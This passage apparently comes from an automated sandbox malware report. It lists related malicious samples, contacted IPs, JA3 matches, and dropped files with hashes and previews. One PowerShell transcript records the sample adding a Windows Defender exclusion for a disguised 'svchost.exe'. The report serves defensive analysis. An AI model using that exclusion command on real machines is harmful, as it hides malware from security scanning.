	PO7321.exe	Get hash	malicious	Browse	172.67.154.93
	PRC-20-518 ORIGINAL.xlsx	Get hash	malicious	Browse	104.25.233.53
	RFQ 100400806 SUPPLY.exe	Get hash	malicious	Browse	172.67.188.154
	ikoAImKWvI.exe	Get hash	malicious	Browse	104.25.233.53
	new_order20210408_14.doc	Get hash	malicious	Browse	172.67.150.212
	BL01345678053567.exe	Get hash	malicious	Browse	104.21.56.119
	invoice.xlsx	Get hash	malicious	Browse	104.25.233.53
	new_order20210408_14.doc	Get hash	malicious	Browse	172.67.150.212
	PR_A1191-04052021.xlsx	Get hash	malicious	Browse	104.25.233.53
	DYANAMIC Inquiry.xlsx	Get hash	malicious	Browse	104.21.61.102
DYNDNSUS	PURCHASE ORDER - XIFFA55,pdf.exe	Get hash	malicious	Browse	131.186.113.70
	PRICE_QUOTATION_RFQ_000988_PDF.exe	Get hash	malicious	Browse	131.186.113.70
	RFQ 100400806 SUPPLY.exe	Get hash	malicious	Browse	162.88.193.70
	SER09090899.exe	Get hash	malicious	Browse	162.88.193.70
	PURCHASE ORDER-34002174,pdf.exe	Get hash	malicious	Browse	131.186.161.70
	cricket.exe	Get hash	malicious	Browse	131.186.113.70
	SecuriteInfo.com.Artemis34DBCAD2CB5A.27289.exe	Get hash	malicious	Browse	131.186.113.70
	EMPRESA SUMPEX TRADE.exe	Get hash	malicious	Browse	216.146.43.70
	Yeni siparis _WJO-001, pdf.exe	Get hash	malicious	Browse	131.186.113.70
	Dringende RFQ_AP75887658_98788,pdf.exe	Get hash	malicious	Browse	216.146.43.70
	MUYR09080.exe	Get hash	malicious	Browse	162.88.193.70
	PURCHASE ORDER-34002174, pdf.exe	Get hash	malicious	Browse	162.88.193.70
	Order CG-210331-1004.exe	Get hash	malicious	Browse	162.88.193.70
	Yeni siparis _WJO-001, pdf.exe	Get hash	malicious	Browse	131.186.113.70
	Invoice,PDF.exe.exe	Get hash	malicious	Browse	216.146.43.70
	Payment Slip E05060_47.doc	Get hash	malicious	Browse	131.186.113.70
	PROFORMA INVOICE.exe	Get hash	malicious	Browse	216.146.43.70
	Confirmation_(#1422) DEKRA order,pdf.exe	Get hash	malicious	Browse	216.146.43.71
	ATTACHED.exe	Get hash	malicious	Browse	216.146.43.71
	Urgent RFQ_AP65425652_040621,pdf.exe	Get hash	malicious	Browse	131.186.113.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	RFQ-034.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	ACdEbpiSYO.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	PURCHASE ORDER - XIFFA55,pdf.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	Invoice_ord00000009.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	kayo.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	RFQ 100400806 SUPPLY.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	new_order20210408_14.doc	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	BL01345678053567.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	SER09090899.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	PURCHASE ORDER-34002174,pdf.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	cricket.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	DHLdocument11022020680908911.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	20200804-8293847pdf.scr.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	234d9ec1757404f8fd9fbb1089b2e50c08c5119a2c0ab.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	SKMC25832100083932157.jar	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	SecuriteInfo.com.Artemis34DBCAD2CB5A.27289.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	EMPRESA SUMPEX TRADE.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	Yeni siparis _WJO-001, pdf.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	Dringende RFQ_AP75887658_98788,pdf.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154
	MUYR09080.exe	Get hash	malicious	Browse	104.21.56.119 172.67.188.154

Dropped Files

No context

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.5976804353698416
Encrypted:	false
SSDEEP:	6:bWlEk1GaD0JOCEfMuaaD0JOCEfMKQmDtAl/gz2cE0fMbhEZolrRSQ2hyYIIT:bWNGaD0JcaaD0JwQQtAg/0bjSQJ
MD5:	0C2A0FB45AE1576A122F5656C2B87E6A
SHA1:	A93AA5CEE6A26BF623A545FC0DF2B9696165BFFA
SHA-256:	618F67B0C0755100E663919FFA287BCA588F800B638A2857067D393508FED4E3
SHA-512:	AC1D71B8B6DF42B7B63F6CB516338D21EEA2A59B6C9743243AE029A366D1D06C6C4EF48AE9649F8572BC966E4775C771800C2CCFBF08BB87D7B5C9D43511BFD6
Malicious:	false
Preview:	....E..h..(..........y............... ..1C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@........................y............&......e.f.3...w.......................3...w..................h..C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b...G............................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xdc05173d, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.09541840300770618
Encrypted:	false
SSDEEP:	6:RXzwl/+0XRIE11Y8TRXdyV6K7Xzwl/+0XRIE11Y8TRXdyV6K:50+0XO4bldzKL0+0XO4bldzK
MD5:	AA689052BE348C1ECC66B5E639E3234B
SHA1:	B9A6C6D0487A8165757361CDDC10811B65E8DE42
SHA-256:	25E1EA5E8E0F2468C89C39700FDAD0F8C204447B5B18D9B51D14049B4C22231F
SHA-512:	48BA3314A159441D4058A3BDEC38D70A0178A036D04127A4726A2A04AF7099DCC77CD79349BE0188E0EF7C20D287F27AD67B9C52C46F5D68958D2E1073D72B16
Malicious:	false
Preview:	...=... ................e.f.3...w........................&..........w.......y..h.(..............................3...w...........................................................................................................B...........@...................................................................................................... ........3...w........................................................................................................................................................................................................................................{.....y.e................!........y..........................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.1108664572894607
Encrypted:	false
SSDEEP:	3:JllTEvg3QUAl/bJdAtiVhVloll:xag3XAt4g2
MD5:	52FA11AC12F2144CC9C1D312B9B48211
SHA1:	3E9586A500E74302E80B17EE0F43721BC57440C9
SHA-256:	CCC3477C544B4A63479742AE688F25935EB4661AB7E56E16781EC03482F66AA2
SHA-512:	1A31B93FE26B4ECA6E389C1B1114B2732ACC27B3E18506A7C03EAF7CAA75F4FAC0048D113BAA092B305080424D7DB89552228B4D069E9BA8C74EA7C598566A01
Malicious:	false
Preview:	.Lt......................................3...w.......y.......w...............w.......w....:O.....w..................!........y..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportArchive\AppCrash_lfQuSBwdSf.exe_dbcf35fab953bf6b1a979b91e3aa6f6e971ce7_957fde8e_1840eb32\Report.wer Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	17404
Entropy (8bit):	3.7598066063700224
Encrypted:	false
SSDEEP:	192:hZGB8e4mHBUZMXSaKQqueZitu/u7sQS274Itbx:O2eZBUZMXSaFmJ/u7sQX4Itbx
MD5:	79641D2E96E5F7DC6F51501B97E9CAAB
SHA1:	94CB1967BA3F74A848D81E33BC9A4EC849CD39A8
SHA-256:	CC51A3F9523D499F82ECEE27807107A7C707AF1E08C7FAC8C134760B130AEAE1
SHA-512:	CA78672F7C42C83E8CC208CBF7579689D26700C9B27C8D5B249DF1E2D408B471AF39B9DA9A62D555AF7B37432A681A335ED8DA6242D24435E27DD8D0B0A4FB7C
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.2.6.2.3.7.8.5.4.6.7.1.3.2.2.0.3.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.6.2.3.7.8.5.5.5.1.0.3.8.2.6.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.2.6.8.4.3.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.6.1.c.b.d.3.0.-.7.e.c.3.-.4.b.f.5.-.b.b.c.4.-.f.8.e.d.a.b.c.f.9.c.f.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.4.d.f.c.b.0.3.-.b.3.a.c.-.4.0.7.e.-.8.4.b.8.-.6.4.7.e.6.3.1.c.0.e.f.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.l.f.Q.u.S.B.w.d.S.f...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.D.i.m.b.o.n.o...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.a.e.4.-.0.0.0.1.-.0.0.1.7.-.f.c.f.c.-.4.5.3.b.a.1.2.c.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.4.9.0.5.2.9.4.d.a.f.2.3.9.d.d.6.1.4.2.d.1.0.9.e.1.c.d.0.1.f.b.0.0.0.0.0.0.0.0.!.0.0.0.0.f.8.e.d.b.b.e.d.8.3.1.8.3.1.1.f.0.7.0.1.6.7.c.7.3.f.c.c.a.9.f.6.3.f.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE46.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Thu Apr 8 18:02:30 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	330441
Entropy (8bit):	3.629346303572354
Encrypted:	false
SSDEEP:	3072:DNa2o3eyzFdhx0nAyjd+pOD0QRUCgUeAw/9gIOgF59jVjZpXe:dQP0epW7Tj1k9RpD95jZle
MD5:	F80E8E853AC993B123EF2D189BC5D4A6
SHA1:	8C57934C587DBFBAA1236F1BF655CEB989EAB236
SHA-256:	5133BE65AFA86EB1B4F7906A86C113E06ECD13F42A839616DB99F290A5D6EB0C
SHA-512:	DA3BBCC9061439054BD4599DA2F56CADA8EA063B7296AC55D6158BCAB21BA18A5EF9A4C7CA9FC93168CCBBBE248C9039A9005A654F7D9752E5F43498A6835E29
Malicious:	false
Preview:	MDMP....... .......6Eo`...................U...........B......l1......GenuineIntelW...........T............Eo`.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD903.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8408
Entropy (8bit):	3.69539172946485
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiNB6K6YSKSUi6I3WegmfZOSUCprY89bTnEsf0zxm:RrlsNir6K6YPSUi6OWegmfcSpTn3fB
MD5:	0E16BAA073DA35DADE06031DE91DBB5E
SHA1:	27E52AD81E964E9EB4ECACE5528058776D7B9AF2
SHA-256:	D1F5C3BF879527D91027766168562B2E854AA6BF429B321A127A44916B30655C
SHA-512:	1205B8CA1F29160F6ED376E0CC13AED8037A91351E3846456074C45D758F640860CD7F36D76893501D23B34F3E2E1CA26FA941A5EA19CD9B72DF4BE139D6F512
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.2.7.8.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WERDB94.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4750
Entropy (8bit):	4.474044588371349
Encrypted:	false
SSDEEP:	48:cvIwSD8zsJJgtWI9+Ay6WSC8BL8fm8M4J4FF037+q8vvrJEnJbCrcdd:uITfbYSSNeJz7KzJEnJGrcdd
MD5:	3E5B568551BEFAFC35E627281F8CDE65
SHA1:	CB3622DD78CB6F7F6C7CEA47F0DA87474D49E4B5
SHA-256:	C08106AF77EA9D1D5FB81C525BB443F9FA1C442D76381FAB26966B28217C57AD
SHA-512:	708FABFA888069A6F584666011EF9E2131A67FE902B53B2F42D92839BFD41842023434B26DA5EAD019C65B3818A94D82B8748BD4389F18E08BB363B04A3B067B
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="937633" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	698
Entropy (8bit):	5.049094101509586
Encrypted:	false
SSDEEP:	12:reVGyMYx2Y5BYtmWNUc5AtYX5E4a2KryMYGH+ptsxptsOtw9O9S8:reUyMGF5ytmLcetYX5E2KryMb+zsxzsk
MD5:	B0CEEA53B3467F59FD8E87F80213BDE9
SHA1:	D9E6D1CBB480E7248658DF935648DFA733745602
SHA-256:	D9C93CB64E6F1F5BDC94581CEEA99F759EE1E35716EAF623C61962EA0152F9DD
SHA-512:	DDAA6C9FA3535B4926C60B692F8E202D10EB160D1F8BE7A9DE79239EF75AFD470403DF1D8F0CBF29A5F819E907D02E8E656BB9A52E71E30D9259987EAE881655
Malicious:	false
Preview:	PSMODULECACHE......w.e...a...C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\PackageManagement.psd1........Set-PackageSource........Unregister-PackageSource........Get-PackageSource........Install-Package........Save-Package........Get-Package........Find-Package........Install-PackageProvider........Import-PackageProvider........Get-PackageProvider........Register-PackageSource........Uninstall-Package........Find-PackageProvider........D..8.......C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\1.0.1\Microsoft.PowerShell.Operation.Validation.psd1........Get-OperationValidation........Invoke-OperationValidation........

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11021535299334234
Encrypted:	false
SSDEEP:	12:26fEzXm/Ey6q9995cwuNq3qQ10nMCldimE8eawHjcIEv:26fBl689ugLyMCldzE9BHjcIE
MD5:	D8F8828F046E214C4F83197D79308E4E
SHA1:	0CE8ABF0F299AFA77651703664850B30F7205FF9
SHA-256:	298F7C2C58A35D3F9018C168A05CAB802CB908A32B5FE47325F050AD8222121C
SHA-512:	C263EE316960DC044520C7475A035D9E6F5BCE3064C025834AE468270C40C0A9CAB80905FA9A2C961AF55B5DAB1A47BB73A4F0EA6DEAF086DEA6D46C96908D65
Malicious:	false
Preview:	................................................................................(.........N......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................M......... ......Y9Q.,..........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.(........W.....................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11234695267431766
Encrypted:	false
SSDEEP:	12:BzXm/Ey6q9995cktL1miM3qQ10nMCldimE8eawHza1miIuf:Ml68X1tMLyMCldzE9BHza1tIO
MD5:	25C45E2E80B645291BE51ED449ADF375
SHA1:	54C9935A5125550F947D32BF83AE7A5EFA57E0B8
SHA-256:	C5BFCFB1A1C6F430C88F820EBCD0B5DFEB66E1D504357C40BE1F11CCBA00ED0E
SHA-512:	E6CDC84A6D4AEFF20DD6E35D7EC45B3AA84E8BF310DD6B59F4F1FBD08A85AB71B355E2AD8AC6FF92AA7F041E2D2A7C4894B18A07ACCFE179D82D6DFA4DDF49C9
Malicious:	false
Preview:	................................................................................(.........F......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................M......... .....x3.Q.,..........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.(.........H.....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11247201638927183
Encrypted:	false
SSDEEP:	12:kzXm/Ey6q9995c7x1mK2P3qQ10nMCldimE8eawHza1mKmf:hl68k1iPLyMCldzE9BHza1a
MD5:	B4833118DA36CBF8E6082C02364BBB4F
SHA1:	D5F49A356B1A273FA41B354F22F1642C726DA33C
SHA-256:	40F0F8C311F41D76B4599B105405CF2F7FA54A0D767DB3E5A43B0EEC2DDF66EC
SHA-512:	521010B548704EEDB1360549075BD5FBC7F2D7D725A1C632375BBB46FB731D25753242BF981EF48AC5BE32B93CDABD63AC2B4B1ADBBB655AB06952FF67B87366
Malicious:	false
Preview:	................................................................................(.......s.+......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1...........................................................M......... ......t.P.,..........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.(.........-.....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3unvo0at.i2z.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_afdwa5sz.ycm.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bk34zenz.mnc.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cv5sw5e3.x0i.psm1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dkeuwky5.kyp.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wacrv0pl.app.ps1 Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\Documents\20210408\PowerShell_transcript.216554.+ytC9MFS.20210408110204.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	862
Entropy (8bit):	5.356189201456313
Encrypted:	false
SSDEEP:	24:BxSA33yxvBndx2DOXUWeSuMG1OWbHjeTKKjX4CIym1ZJXDFuMG1C:BZuvhdoO+SqPbqDYB1Z3qg
MD5:	BCF1AA333B0E2685377E4D638341B518
SHA1:	D2D2DF3F261EBEDE89E39314B34FB153915B9A1F
SHA-256:	E69620958827E1C5ADABAB8EEBBE18350B0316BEFE2CE4852F496756E0B7F086
SHA-512:	E06DFFB20671B0DDB6AAAD522CF1BA442D7EA59334A235EDCE4C42E47E8F59FC7F9754FF0BA5DA2D9C6EEC58FCA81D60B13174E13B9DF6C8186D977786DB0A38
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210408110234..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216554 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe -Force..Process ID: 1000..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210408110235..********************..PS>Add-MpPreference -ExclusionPath C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe -Force..

C:\Users\user\Documents\20210408\PowerShell_transcript.216554.6CUcdU4H.20210408110202.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.329898122050224
Encrypted:	false
SSDEEP:	24:BxSAGxvBndx2DOXUWeSuWW9HjeTKKjX4CIym1ZJXVu6:BZyvhdoO+SI9qDYB1ZrR
MD5:	67C14436066F55A5F8035E0A8785E196
SHA1:	29F44AD56CD4E5515590510E3F20F3B71A73A2A2
